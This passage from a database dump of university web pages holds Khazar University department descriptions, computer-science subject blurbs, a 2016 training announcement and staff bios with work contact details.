style=\"border:0px  #000000;width:600px;height:196px\"><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong>Cryptography &amp; Network Security.</strong> Cryptography or cryptology is the practice and study of techniques for secure communication in the presence of third parties called adversaries. More generally, cryptography is about constructing and analyzing protocols that prevent third parties or the public from reading private messages; various aspects in information security such as data confidentiality, data integrity, authentication, and non-repudiation are central to modern cryptography. Network security consists of the policies and practices adopted to prevent and monitor unauthorized access, misuse, modification, or denial of a computer network and network-accessible resources. Network security involves the authorization of access to data in a network, which is controlled by the network administrator.  <br></p><p style=\"text-align:justify\"><img src=\"/files/engineering/NewFolder/n.jpg\" style=\"border:0px  #000000;width:600px;height:337px\"><br></p><p style=\"text-align:justify\"><strong>Artificial Intelligence.</strong> Artificial intelligence (AI) is intelligence exhibited by machines. In computer science, an ideal \"intelligent\" machine is a flexible rational agent that perceives its environment and takes actions that maximize its chance of success at some goal. Colloquially, the term \"artificial intelligence\" is applied when a machine mimics \"cognitive\" functions that humans associate with other human minds, such as \"learning\" and \"problem solving\". As machines become increasingly capable, facilities once thought to require intelligence are removed from the definition.  <br></p><p style=\"text-align:justify\"><img src=\"/files/engineering/NewFolder/o.jpg\" style=\"border:0px  #000000;width:259px;height:194px\"><br></p><p style=\"text-align:justify\"><strong>Database Systems.</strong> A database is an organized collection of data. It is the collection of schemas, tables, queries, reports, views, and other objects. The data are typically organized to model aspects of reality in a way that supports processes requiring information, such as modelling the availability of rooms in hotels in a way that supports finding a hotel with vacancies. A database management system (DBMS) is a computer software application that interacts with the user, other applications, and the database itself to capture and analyze data. A general-purpose DBMS is designed to allow the definition, creation, querying, update, and administration of databases. Well-known DBMSs include MySQL, PostgreSQL, MongoDB, Microsoft SQL Server, Oracle, Sybase, SAP HANA, and IBM DB2.  <br></p><p style=\"text-align:justify\"><img src=\"/files/engineering/NewFolder/p.jpg\" style=\"width:600px;height:328px\"><br></p><p style=\"text-align:justify\"><strong>Human Computer Interaction. </strong>Human-computer interaction (commonly referred to as HCI) researches the design and use of computer technology, focused on the interfaces between people (users) and computers. Researchers in the field of HCI both observe the ways in which humans interact with computers and design technologies that let humans interact with computers in novel ways.  <br></p><p style=\"text-align:justify\"><img src=\"/files/engineering/NewFolder/q.jpg\" style=\"width:600px;height:305px\"><br></p><p style=\"text-align:justify\"><strong>Computer Vision And Graphics.</strong> Computer vision is an interdisciplinary field that deals with how computers can be made to gain high-level understanding from digital images or videos. From the perspective of engineering, it seeks to automate tasks that the human visual system can do. Graphics is any technique for creating images, diagrams, or animations to communicate a message. Visualization through visual imagery has been an effective way to communicate both abstract and concrete ideas since the dawn of humanity. Examples from history include cave paintings, Egyptian hieroglyphs, Greek geometry, and Leonardo da Vinci\'s revolutionary methods of technical drawing for engineering and scientific purposes.  <br></p><p style=\"text-align:justify\"><img src=\"/files/engineering/NewFolder/r.jpg\" style=\"border:0px  #000000;width:600px;height:240px\"><br></p><p style=\"text-align:justify\"><strong>Numerical Analysis.</strong> Numerical analysis is the study of algorithms that use numerical approximation (as opposed to general symbolic manipulations) for the problems of mathematical analysis (as distinguished from discrete mathematics).  <br></p><p style=\"text-align:justify\"><img src=\"/files/engineering/NewFolder/s.jpg\" style=\"border:0px #000000;width:500px;height:458px\"><br></p><p style=\"text-align:justify\"><strong>Programming Languages.</strong> A programming language is a formal computer language designed to communicate instructions to a machine, particularly a computer. Programming languages can be used to create programs to control the behavior of a machine or to express algorithms.</p><p style=\"text-align:justify\">  <img src=\"/files/engineering/NewFolder/t.jpg\" style=\"width:500px;height:208px\"><br></p><p style=\"text-align:justify\"><strong>Software Engineering. </strong>Software engineering (SWE) is the application of engineering to the design, development, implementation, testing and maintenance of software in a systematic method.</p><p style=\"text-align:justify\"><img src=\"/files/engineering/NewFolder/u.jpg\" style=\"width:600px;height:334px\"><br></p><p style=\"text-align:justify\"><strong>Bioinformatics.</strong> Bioinformatics is an interdisciplinary field that develops methods and software tools for understanding biological data. As an interdisciplinary field of science, bioinformatics combines computer science, statistics, mathematics, and engineering to analyze and interpret biological data. Bioinformatics has been used for in silico analyses of biological queries using mathematical and statistical techniques.  <br></p><p style=\"text-align:justify\"><img src=\"/files/engineering/NewFolder/v.jpg\"><br></p><p style=\"text-align:justify\"><strong>Theory Of Computing.</strong> In theoretical computer science and mathematics, the theory of computation is the branch that deals with how efficiently problems can be solved on a model of computation, using an algorithm. The field is divided into three major branches: automata theory and language, computability theory, and computational complexity theory, which are linked by the question: \"What are the fundamental capabilities and limitations of computers?\".  <br></p><p style=\"text-align:justify\"><img src=\"/files/engineering/NewFolder/w.jpg\" style=\"width:600px;height:338px\"></p>'),(126,134,'en','Languages and Cultures ','Languages and Cultures ','<br><p \"=\"\" style=\"text-align: center;\"><img src=\"http://www.khazar.org/files/languages_depart/Thank-You-in-different-languages-smaller.png\" style=\"border:0px  #000000;width:500px;height:280px;margin-top:7px;vertical-align:baseline\">  <br></p><p \"=\"\" style=\"text-align: justify;\">Established in its present form in May the 1st 2015, on the basis of two departments: the department of Eastern Languages and Religious Studies and the department of Modern languages and comparative literature, the Department of Languages and cultures provides possibilities for studying both world languages and cultures. The department is devoted to a wide range of Western languages as German, French, Spanish, Italian, Russian etc. as well Eastern languages as Chinese, Korean, Turkish, Arabic, Persian, Hebrew, Urdu etc. The Department also focuses on ancient and modern cultures of the West and the East.</p><p>Among the main goals of the Departments are the following:</p><ul><li><p style=\"text-align:justify\">To develop students’ proficiency in modern foreign languages of the West and the East through improving four language skills (speaking, listening, reading, writing)</p></li><li><p style=\"text-align:justify\">To expand students’ understanding of the cultural-historical knowledge and the world’s cultural diversity through integrative and critical thinking, analytical studying on cultures, religions, societies</p></li><li><p style=\"text-align:justify\">To conduct researches and organize various programs on new approaches of teaching foreign languages, study of cultures and cultures.</p></li></ul>'),(127,135,'en','Economics and Management','Economics and Management','<p style=\"text-align:justify\">The Department of Economics and Management (DEM) offers flexible and innovative undergraduate, graduate and doctoral degree programs that cover the main areas of business and economics. All of the departmental programs are designed to meet the requirements of the students and professionals through building a strong platform for their future career development. The aim of the DEM is to furnish the students with substantive decision-making skills and tools, as well as the functional knowledge required to effectively manage composite businesses in today\'s competitive global environment.</p>\r\n<p style=\"text-align:justify\">Under various partnership programs, the DEM is affiliated with a number of business departments of a leading US and European universities. It is for this reason that all of the faculty members of the DEM have been participating in academic training and development programs conducted overseas. In addition, scholars from partner universities take an active part in the processes of program validation/review, faculty training/ development, curriculum development/assessment, etc., within the DEM.</p>\r\n<p style=\"text-align:justify\">At present the DEM consists of five divisions: Economics, Management, Marketing, Accounting and Finance, and graduate programs. Each division, with its small administrative structure, is responsible for the development of programs within its area. Research interests of the faculty members of the DEM cover the following subject areas: Economic Analysis, Development Economics, Corporate Governance, Decision Science, Finance and Banking, Management, International Trade and Business, Regional Economics, Information Technology, Economic and Business Education.</p>\r\n<p style=\"text-align:justify\">The mission of the Department of Economics and Management is to provide students with an understanding of economic and management principles that will be useful throughout their careers. We address both the immediate application of problem-solving techniques and the conceptual basis for those techniques.</p>\r\n<p style=\"text-align:justify\">All department majors are designed to provide a basic understanding of the framework and key institutions of modern economic systems. Each major also provides students with the opportunity to develop expertise in quantitative analysis of economic and business data. </p>\r\n<p style=\"text-align:justify\">Meanwhile, strong academic and professional networks offer tremendous opportunities for intellectual exchange and experience within Azerbaijan and overseas.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Dr. Jeyhun Mammadov</strong></p>\r\n<p><strong>Department Chair</strong></p>'),(1840,1134,'en','Eurasia Knowledge Hub Training on \"Transforming Natural Resource Wealth into Sustainable Prosperity\" Launched ','On May 21, 2016, the Eurasia Knowledge Hub operating at Khazar University kicked off an 8-day training on \"Transforming Natural Resource Wealth into Sustainable Prosperity.”','<p>On\r\nMay 21, 2016, the Eurasia Knowledge Hub operating at Khazar University kicked\r\noff an 8-day training on \"Transforming Natural Resource Wealth into\r\nSustainable Prosperity.” </p>\r\n<p>The\r\nevent included participants representing research institutes, universities,\r\ngovernments, the press and the public from six countries (Azerbaijan, Georgia,\r\nUkraine, Kazakhstan, Kyrgyzstan and Tajikistan). At the opening, speeches were\r\nmade by Professor Hamlet Isaxanli, the founder of Khazar University and\r\nChairman of its Board of Directors and Trustees, and Ingilab Ahmadov, Eurasia\r\nKnowledge Hub Director, to greet the participants, outline the objectives and\r\npractical aims of the training, and introduce the relevance of the topic. </p>\r\n<p>The\r\ntraining, which will continue until May 28, will teach participants knowledge\r\nand skills for effective use of profits from natural resources for sustainable\r\ndevelopment.&nbsp;</p><h5 class=\"_5pbw _11dd\" ft=\"{&quot;tn&quot;:&quot;C&quot;}\" id=\"js_o\" style=\"color:#1d2129;font-size:14px;margin:0px 0px 2px;padding:0px 55px 0px 0px;font-weight:normal;line-height:1.38;overflow:hidden;font-family:helvetica, arial, sans-serif;background-color:#ffffff\"><span class=\"fwn fcg\" style=\"color:#90949c\"><br></span></h5> <p><br></p>'),(128,136,'en','Education','Education','<p>The main goals of the Khazar University Department of Education are to stay on the cutting edge of the modern field of education, to train professional teachers and specialists with high-level proficiency in order to meet a felt need in the country’s and society’s education system, to conduct research in various areas of the field of education, and to be a department specializing in the field of education on both a national and global scale.</p><p>The Department also offers master’s and continuing professional education programs for experts carrying out research in various areas of the field of education, including education management, philosophy and history of education, foundations of education, educational programs, curriculum development, and evalution.&nbsp;</p><p>The department is committed to developing an appreciation of the power of learning to transform people and society, in the sense that individuals have the potential for constant growth and that education can be a force toward improvement in the life of the community and society at large.</p><p>We see ourselves acting in concert with the Khazar University mission statement that emphasizes autonomous thought, moral agency, and active citizenship for all Khazar students. &nbsp;The program emphasizes the development of habits associated with praxis, a concept in which reflection grows out of experience and is prelude and catalyst to action, particularly action that shares power and challenges injustice. Through this process, students come to recognize they are transformed as they learn, unlearn, and relearn in continuous ways that become life-long habits. The department intends that our graduates work throughout their professional and personal lives encountering, defining, and solving problems in continuous active engagement with the central issues of their time.</p>  <p><img src=\"/files/edu_depart/edu.jpg\" style=\"width:300px;height:171px;margin:7px;vertical-align:baseline\"><br></p>'),(129,137,'en','English Language and Literature','English Language and Literature','<p text-align:justify\"=\"\" style=\"text-align: center;\"><img src=\"/files/eng_depart/eng.jpg\" style=\"border:0px  #000000;width:500px;height:328px;vertical-align:baseline\"><br></p><p text-align:justify\"=\"\" style=\"text-align: justify;\">The mission of the English Language and Literature Department is to instill in our students a deep appreciation for language and its application to the needs of society.&nbsp;We seek to provide the foundational skills, attitudes and knowledge necessary for students to make meaningful contributions in the fields of English Language Teaching, Linguistics, Translation and Literary Studies.</p><p text-align:justify\"=\"\" style=\"text-align: justify;\">As part of its mission the English Language and Literature Department administers the Khazar University English Language Requirements program which prepares students to perform with excellence in the English language academic environment of the university.&nbsp;</p><p text-align:justify\"=\"\" style=\"text-align: justify;\">The English Language and Literature Department provides a unique environment for students to flourish in language and communication skills as a centre for specialized instruction for non-native speakers of English.</p><p text-align:justify\"=\"\" style=\"text-align: justify;\">The English Language and Literature Department’s graduate programs provide advanced study in the disciplines of Translation, General and Applied Linguistics, and Literary Studies.&nbsp;The goal of these programs is to promote academic research in these disciplines and academic growth in students.</p><p text-align:justify\"=\"\" style=\"text-align: justify;\"><br></p><h3 text-align:justify\"=\"\" style=\"text-align: justify;\">Contacts</h3>\r\n<hr>\r\n<p text-align:justify\"=\"\" style=\"text-align: justify;\"><a href=\"http://www.khazar.org/files/pdf/Eynur%20Mehdiyev%20CV.pdf\"><img src=\"/files/pdf/eynur.jpg\" style=\"width:150px;height:185px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"></a><a href=\"http://www.khazar.org/files/eng_depart/CV/eynur_mehdiyev_cv.pdf\"><strong>Eynur Mehdiyev</strong></a>&nbsp;<strong>(MA)</strong></p><p text-align:justify\"=\"\" style=\"text-align: justify;\"><strong>Vice-Chair of Department</strong></p>\r\n<p text-align:justify\"=\"\" style=\"text-align: justify;\">Eynur Mehdiyev did his BA&nbsp;in Linguistics at Azerbaijan State\r\nUniversity of Languages, Baku, Azerbaijan and MA in English Language Teaching\r\nat Coventry University, Coventry, UK. He has over ten years of experience in\r\nteaching English to students and adults. He is currently working for Khazar\r\nUniversity as a&nbsp;vice-chair of English Language and Literature Department.&nbsp;</p><p text-align:justify\"=\"\" style=\"text-align: justify;\"><strong>Office:</strong> Neftchilar Campus 313 (old)</p><p text-align:justify\"=\"\" style=\"text-align: justify;\"><strong>Phone:</strong>&nbsp;(+994&nbsp;12) 421&nbsp;79&nbsp;16 (281)&nbsp;</p><p text-align:justify\"=\"\" style=\"text-align: justify;\"><strong>E-mail:</strong>&nbsp;<a href=\"mailto:emehdiyev@khazar.org\">emehdiyev[at]khazar.org</a></p>\r\n<hr>\r\n<p text-align:justify\"=\"\" style=\"text-align: justify;\"><strong><a href=\"http://www.khazar.org/files/eng_depart/MILANA_ABBASOVA_cv.pdf\"><img src=\"/files/eng_depart/milana.png\" style=\"border:0px none #0000ee;width:150px;height:189px;vertical-align:baseline;float:left;margin:7px\"></a></strong><a href=\"http://www.khazar.org/files/eng_depart/MILANA_ABBASOVA_cv%20January%202018.pdf\" style=\"text-align:start\"><strong>Milana Abbasova</strong></a>&nbsp;<strong>(PhD candidate)</strong>  </p><p text-align:justify\"=\"\" style=\"text-align: justify;\"><strong>Program&nbsp;Coordinator</strong></p><p text-align:justify\"=\"\" style=\"text-align: justify;\">Milana Abbasova studied for&nbsp;both B.A. and M.A. degrees at\r\nAzerbaijan University of Languages. She is now a PhD candidate in\r\nSociolinguistics at Khazar University.&nbsp;Milana Abbasova  has been working at Khazar\r\nUniversity for more than ten years. She teaches Grammar, History of the English\r\nLanguage, Sociolinguistics and several other subjects.&nbsp;Milana Abbasova   is currently&nbsp;in charge of\r\nprogram&nbsp;coordination&nbsp;of the&nbsp;English Language and Literature Department.<strong></strong></p>\r\n<p text-align:justify\"=\"\" style=\"text-align: justify;\"><strong>Office:</strong>&nbsp;Neftchilar Campus&nbsp;313 (old)&nbsp;</p><p text-align:justify\"=\"\" style=\"text-align: justify;\"><strong>Phone:</strong>&nbsp;(+994&nbsp;12) 421&nbsp;79&nbsp;16 (230)</p><p text-align:justify\"=\"\" style=\"text-align: justify;\"><strong>E-mail:</strong>&nbsp;<a href=\"http://mailto:mabbasova@khazar.org/\"></a><a href=\"mailto:mabbasova@khazar.org\">mabbasova[at]khazar.org</a></p>\r\n<hr>\r\n<strong text-align:justify\"=\"\" style=\"text-align: justify;\"><img src=\"http://www.khazar.org/files/image/14_05_26_Kamala_Asgarova.jpg\" style=\"border:0px none #000000;width:150px;height:200px;float:left;margin:7px\"></strong><p text-align:justify\"=\"\" style=\"text-align: justify;\"><strong><a href=\"http://www.khazar.org/files/eng_depart/Kamala_Asgerova%20%2B.pdf\">Kamala Askerova</a></strong><strong></strong></p><p text-align:justify\"=\"\" style=\"text-align: justify;\"><strong>Foundations Coordinator</strong></p><p text-align:justify\"=\"\" style=\"text-align: justify;\">Kamala Askerova graduated from Azerbaijan State Institute of Languages in 1983.&nbsp;She started her career of an English instructor in 1993 at the Department of English Language &amp; Literature at&nbsp;<st1:placename w:st=\"on\"><st1:place w:st=\"on\">Khazar</st1:place>&nbsp;<st1:placetype w:st=\"on\">University</st1:placetype></st1:placename>, where she taught such courses as ESL, ESP for Medicine, ESP for Law, advanced Grammar, Current events. Since 1995 she has been working as a senior instructor of English Language &amp; Literature Department at&nbsp;<st1:placename w:st=\"on\"><st1:place w:st=\"on\">Khazar</st1:place>&nbsp;<st1:placetype w:st=\"on\">University</st1:placetype></st1:placename>. From 1994 to 1997 she taught Extension English courses for Medical Doctors in Khazar University. From September 2009 to June 2011 she worked as an English Language Coordinator at High School named after Zarifa Aliyeva. In September 2011 she returned to&nbsp;<st1:placename w:st=\"on\"><st1:place w:st=\"on\">Khazar</st1:place>&nbsp;<st1:placetype w:st=\"on\">University</st1:placetype></st1:placename>&nbsp;and continued to work as a senior English Language Instructor. Since 2014 she has been working as&nbsp;Foundations Coordinator at Khazar University.</p><p text-align:justify\"=\"\" style=\"text-align: justify;\"><strong>Office:</strong>&nbsp;Downtown Campus&nbsp;</p><p text-align:justify\"=\"\" style=\"text-align: justify;\"><strong>Phone:</strong>&nbsp;(+994&nbsp;12) 596 27 85&nbsp;</p>  <p text-align:justify\"=\"\" style=\"text-align: justify;\"><strong>E-mail:</strong>&nbsp;<a href=\"mailto:kamala.Askerova@khazar.org\">kamala.askerova[at]khazar.org</a></p>\r\n<hr>\r\n<p text-align:justify\"=\"\" style=\"text-align: justify;\"><img src=\"/files/eng_depart/IMG-20180227-WA0003.jpg\" style=\"border:0px  #000000;width:170px;height:182px;float:left;margin:7px\"><a href=\"http://www.khazar.org/files/eng_depart/CV/saadat_farhadova_cv.pdf\"><strong>Saadat Farhadova</strong></a><br></p><p text-align:justify\"=\"\" style=\"text-align: justify;\"><strong>Foundations Coordinator Assistant</strong></p><p text-align:justify\"=\"\" style=\"text-align: justify;\"><strong></strong>Saadat Farhadova, MA in Linguistics earned her degree at Azerbaijan University of Languages with Honours Diploma. Worked as an interpreter and translator at Oklahoma LTD. Taught Business English, EFL to international staff, and held English conversation clubs for non-native speakers at TCS company.&nbsp;Since 2007 has been an English Language Instructor at the English Language and Literature Department of Khazar University. The main subjects of her instruction have been English Foundations, Academic English, English for Professional Communication, ALS, ESP on Economics.&nbsp;From 2011 to 2015 worked as Local Coordinator for English Programmes at School of Economics and Management. In the meantime, operated as a Committee member for Assessment of Departmental Effectiveness at English Language and Literature Department.<strong>&nbsp;</strong></p><p text-align:justify\"=\"\" style=\"text-align: justify;\"><strong>E-mail:</strong>&nbsp;<span style=\"line-height:107%\"><a href=\"mailto:sfarhadova@khazar.org\">sfarhadova[at]khazar.org</a></span></p><p text-align:justify\"=\"\" style=\"text-align: justify;\"><strong>Office:&nbsp;</strong>Downtown Campus&nbsp;</p><p text-align:justify\"=\"\" style=\"text-align: justify;\"><strong>Phone:</strong>&nbsp;(+994&nbsp;12) 596 27 85</p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/eng_depart/Nurana_Farhadova.pdf\"><img src=\"/files/eng_depart/Nurana_f.jpg\" style=\"float:left;width:150px;height:185px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Nurana Farhadova</a></strong></p><p><strong>English Language and Literature Department’s Assistant</strong></p><p style=\"text-align:justify\">Earned her degree at Qafqaz University in Philology. Worked as an instructor in many educational centers.&nbsp;Taught Arabic and Russian Languages. Since 2014 has been working at English Language and Literature Department of Khazar University. She coordinates Conversation Club.</p><p><strong>E-mail</strong>:&nbsp;<a href=\"mailto:nfarhadova@khazar.org\">nfarhadova[at]khazar.org</a>  </p><p><strong>Office</strong>: Neftchilar Campus 313 (old)&nbsp;</p><p style=\"padding-left:160px\"><strong>Phone</strong>: (+994 12) 421 79 16 (230)</p>'),(130,138,'en','Electronics and Telecommunications','Electronics and Telecommunications','<h2><img src=\"/files/radio_depart/IMG_1158-1.jpg\" style=\"margin:7px;width:180px;height:190px;float:left\"><br></h2><p style=\"font-size:medium;font-family:arial, helvetica, sans-serif\"><strong><a href=\"http://www.khazar.org/files/radio_depart/Nuru%20Safarov%20eng%20CV.pdf\">Nuru&nbsp;Safarov</a><a href=\"http://www.khazar.org/files/pdf/Nuru_SafarovCV.pdf\"></a>&nbsp;(PhD)<a href=\"http://www.khazar.org/files/pdf/Nuru_SafarovCV.pdf\"></a>&nbsp;-&nbsp;Associate Professor</strong></p><p style=\"font-size:medium;font-family:arial, helvetica, sans-serif\">Head of Department of&nbsp;Electronics&nbsp;and Telecommunications&nbsp;</p><p style=\"font-size:medium;font-family:arial, helvetica, sans-serif\">PhD in Physics,&nbsp;Azerbaijan National Academy of Sciences, Azerbaijan.&nbsp;</p><p style=\"font-size:medium;font-family:arial, helvetica, sans-serif\">MS in Radio Physics &amp; Electronics, Dnipropetrovs’k State University, Ukraine.</p><p><br></p>  <p><br></p><p style=\"text-align:justify\">The Department of Electronics and Telecommunications &nbsp;was established in 2010. The curriculum was planned to provide a\r\nsound professional education for the students. After completing courses in\r\nbasic sciences, students are offered major courses. Practical experience is\r\nrequired for the degree and accordingly, students are required to undertake\r\nsummer practice. Elective courses are offered to enable the students to advance\r\ntheir knowledge in specific fields.</p>\r\n<p style=\"text-align:justify\">Electronics, Telecommunications and Radio Engineering\r\nencompasses a broad range of fields concerned with leading edge technologies in\r\nmany applications. Electronics, telecommunications and radio engineers design\r\nand create devices, systems and equipment that use electricity either as a form\r\nof energy or to carry information. Emphasis is placed on underlying principles\r\nand techniques so that graduates will be able to learn and seamlessly adapt to\r\nnew technologies when they emerge to face future challenges. This program\r\nembraces electronics, telecommunications and radio engineering and thus,\r\nprovides graduates with a wide range of fundamental knowledge in core\r\ndisciplines such as signal processing, micro-electronics, communications, control\r\nsystems, radio frequency design, microprocessors and power generation.</p>\r\n<p style=\"text-align:justify\">Electronics, telecommunications and radio engineers require\r\nan understanding of mathematics and physics as well as a wide range of\r\nelectronic technologies. In this program students gain a deeper understanding\r\nof physics, mathematics and computer programming while being introduced to\r\nbasic principles of electronics and telecommunications. Throughout the program\r\nthe emphasis will shift towards learning new and more advanced electronics\r\ntechnologies. Employment opportunities are available in a diverse variety of\r\ngrowing fields such as renewable energy, radar and remote sensing, biomedical\r\nengineering, defense, information security, and telecommunications</p>\r\n<p style=\"text-align:justify\">The department has new, modern laboratories to prepare the\r\nspecialists with high qualifications. Following are possibilities in the\r\nlaboratories:</p><p><br></p><p><img src=\"/files/radio_depart/lab-%20nsa.jpg\" style=\"border:0px;width:151px;height:151px;margin:7px;float:right;vertical-align:top\"></p><br><ul><li>Basic communication study</li><li>AM/FM transmitter &amp; receiver system</li><li>Fiber-optic transmission training system&nbsp;</li><li>&nbsp;Basic electricity circuit study</li><li>Biomedical measurement system</li><li>Complete industrial electronic trainer</li><li>Logic design study</li><li>Analog electronics study</li><li>Digital electronics study</li></ul><br> <p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</p>\r\n<p><br></p>'),(131,139,'en','Geography and Environment','Geography and Environment','<div><br></div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<img src=\"/files/image/gegrahhy.jpg\" style=\"border:0px #000000;width:500px;height:218px;margin:7px;vertical-align:bottom\"><br></div><div style=\"font-size:medium\"><br></div><p>Department of Geography and Environment (GEN) offers undergraduate degree programs in the field of geography. All courses in the department are designed to meet requirements of modern education with high standards. The department provides history and geography students with the knowledge and skills they need to become highly qualified specialists. GEN also delivers courses for the multi-disciplinary department in economics, management, civil engineering and petroleum engineering.</p>\r\n<p>After graduation, history and geography students often work in Azerbaijani secondary schools. The Azerbaijani educational system needs highly qualified teachers, and therefore GEN tailors its curricula toward this need. With this emphasis, GEN has cultivated relationships with leading universities around the world.</p><p>Modern geography is an all-encompassing discipline that foremost seeks to understand the Earth and all of its human and natural complexities. That is why&nbsp;the&nbsp;newly developed curriculum reflects&nbsp;the&nbsp;changing scenery of these problems and approaches to solving them.</p><p>Recently, various government, non government and private organizations in Azerbaijan&nbsp;have begun seeking&nbsp;highly qualified geographers. Recent rapid economic development in Azerbaijan has caused a shortage of highly qualified specialists including geographers. Upon graduation, Geography alumni&nbsp;may be employed not only as school teachers, but also by various government and private institutions working as hydrologists, water managers, GIS specialists, meteorologists and remote sensing specialists. In order words, the curriculum of the department is sharply focused on employability.&nbsp;</p>'),(132,140,'en','History and Archaeology','History and Archaeology','<br><p style=\"padding-left:200px\"><img src=\"/files/history_depart/images/khudafarin.jpg\" style=\"border:0px  #000000;vertical-align:baseline;width:300px;height:198px\"></p><h3><strong>Mission</strong></h3>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">The\r\nstudy of history aims to provide a solid education that addresses fundamental\r\nquestions about the nature of humanity, society, the past, culture and the\r\npresent. The Department of History and Archaeology has proven its high\r\nstandards of scholarship and teaching.</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">The\r\nmission of the Department is to provide students with knowledge about the\r\norigins and development of peoples in the past, to develop their ability to\r\nconduct research, analyze evidence, and express conclusions. The Department\'s\r\nprimary mission is to train students to research, analyze, synthesize, and\r\ncommunicate accurate conclusions about change over time by using the historical\r\nmethod.</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Our\r\nparticular scholarly mission is to preserve, advance, and communicate knowledge\r\nof humanity\'s past. This mission is reflected in the responsibilities of the\r\nHistory Department.</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">In\r\n2010, a new History and Geography major was opened in the School of Education\r\nwithin the Department of History and Archaeology (BS, MS, and PhD). This\r\nprogram embraces issues and topics related to education, history and geography,\r\nas well as interconnections among the three. Internships are a necessary part\r\nof the program, and students are given an opportunity for a practicum and\r\ninternship at “Dunya” High School or other schools. The Department takes\r\nseriously our responsibility to mentor students and to help them gain knowledge\r\nof history and the professional skills of historians and geographers.</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">The\r\nfaculty focuses on its responsibility to teach critical thinking and\r\ncommunication skills at the same time as imparting knowledge necessary for\r\nstudents\' personal and professional development.</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">In\r\norder to fulfill this mission, at all levels of our curriculum we emphasize\r\ndiscussion and engagement with both primary sources and the interpretations of\r\nvarious scholars. From our general education courses through advanced seminars,\r\nregular opportunities for small-group discussion are a prominent feature of\r\nalmost all our courses.</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">The\r\nDepartment offers fundamental courses in the history of world civilizations,\r\ncovering such issues as history of ancient and medieval human societies and\r\nhistory of Asian, European and American cultures, as well as courses in\r\narchaeology, ethnology, and anthropology, and minor problems in history. The\r\nDepartment also provides courses related to university requirements on the\r\nhistory of the Azerbaijani nation, including its evolution, culture and\r\nhistorical development, as well as relations of&nbsp;<a href=\"http://en.wikipedia.org/wiki/Azerbaijan\"><strong>Azerbaijan</strong></a>&nbsp;with\r\nother Caucasian peoples and neighboring countries such as&nbsp;<a href=\"http://en.wikipedia.org/wiki/Russia\"><strong>Russia</strong></a>,&nbsp;<a href=\"http://en.wikipedia.org/wiki/Iran\"><strong>Iran</strong></a>,&nbsp;<a href=\"http://en.wikipedia.org/wiki/Turkey\"><strong>Turkey</strong></a>.</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">The Department\r\nimproves the teaching process by using visual aids, historical maps, video\r\nmaterials and others. The Department’s specialized library is still being\r\nenriched by valuable historical material. Within the teaching process the\r\nDepartment arouses students’ interest and strives to constantly involve them in\r\ncreative and independent work. Students make various presentations, write\r\nessays, and actively participate in scientific seminars and conferences held by\r\nthe Department.</p><p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">The Department also has strong links with the State Archives,\r\nvarious educational institutions and historical museums. Historical attractions\r\nin various regions of Azerbaijan are among the favorite places to visit for the\r\nuniversity students and visiting scholars.</p>'),(133,141,'en','Journalism','Journalism','<p><strong>General Information&nbsp;<br></strong></p><p>The primary goal of the Department of Journalism<strong>&nbsp;</strong>is to prepare students to become intelligent, responsible and articulate journalists. The department is committed to the belief that the best journalism education combines a strong professional program with a thorough education in the liberal arts and sciences.</p><p>It believes that such an education helps students to hear, understand and tell the stories of people whose circumstances or backgrounds are unlike their own.</p><p>The department occupies a unique position within the School of Humanities and Social Sciences. It is the department whose primary mission is to prepare students for a particular career.</p><p>The department values the research, teaching and service of its colleagues in other departments. It values these things for their own sake, and also for the educational depth that they provide to our students.</p><p>We remain committed to the idea that our majors need a strong liberal arts background to understand the world, and a strong journalism background to report on it. The department encourages its students to study other fields in depth, and to complete second majors in other departments in the school.</p><p>It also encourages students from other departments to complete a second major in journalism, enhancing their educational and career opportunities. The department also contributes to the college by offering instruction to a substantial number of non-majors who seek to improve their writing, interviewing and research skills, or to learn about the news media.</p><p>&nbsp;</p><p><strong>Mission</strong><strong></strong></p><p>The Department of Journalism envisions a media and communication environment that is free and independent; critical, vigilant and pro-active; nationalistic; empowering and transformative; pluralistic and accessible to all; committed to the advocacy of gender fairness, ecological harmony, social justice and peace.</p><p>The Department commits itself to providing professional journalists characterized by:</p><ul><li>opportunities for the development of higher cognitive skills</li><li>social responsiveness</li><li>a passion for art and culture</li><li>meaningful and vibrant spirituality</li><li>responsible use of technology and other resources;</li><li>respect of humane society and especially &nbsp;children\'s and women\'s rights.</li></ul><p>The Department commits itself to becoming the country’s leading institution in the formation and education of Azerbaijan media 